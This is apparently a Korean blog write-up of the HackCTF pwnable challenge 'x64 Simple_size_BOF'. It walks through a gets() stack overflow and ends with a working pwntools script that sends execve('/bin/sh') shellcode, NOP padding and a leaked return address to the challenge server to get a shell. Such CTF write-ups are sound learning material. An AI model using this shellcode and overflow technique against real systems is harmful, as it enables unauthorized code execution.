[HackCTF] x64 Simple_size_BOF 풀이 (150p)
Wargame/HackCTF

[HackCTF] x64 Simple_size_BOF 풀이 (150p)

문제 종류 - Pwnable
사용한 툴 - IDA

nc ctf.j0n9hyun.xyz 3005

 

풀이

pwn 패키지 가끔 헷갈려서 또 삽질했네... ^---^

우선 IDA로 열어봅시다.

main 함수에서 gets 함수를 사용해 bof를 발생시킵니다. 쉘 함수가 없는거로 봐서는, 직접 쉘 코드를 작성해야 합니다.

이제 gdb로 열어봅시다.

이번에는 좀 큰 사이즈인 0x6d30(27952)칸을 할당받는다.

x64 환경이니, 쉘코드 + 더미 값 + RET 페이로드를 작성해 쉘을 열어보자.

 

난 31byte 쉘 코드를 사용했기 때문에 쉘코드(31) + 더미(27929) + RET(6)칸을 적어주면 될 듯하다.

RET의 사용될 buf의 시작 주소는, 프로그램을 실행하면 다음과 같은 형식으로 알려준다.

buf의 주소가 항상 바뀌기 때문에, pwn 패키지를 이용해 저 부분만 긁어보면 될 거 같다.

아직 pwn에 익숙하지가 않아서, 코드가 조금 더럽다 ^--^..

  1 from pwn import *
  2
  3 p = remote('ctf.j0n9hyun.xyz',3005)
  4
  5 for i in range(0,2):
  6     arr = p.recvline()
  7 arr = arr[5:19]
  8                                                                                                                                                
  9 payload = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
 10 payload += '\x90'*27929                                                                                                                       
 11 payload += p64(int(arr,16))
 12                                                                                                                                                
 13 p.sendline(payload)                                                                                                                            14 p.interactive()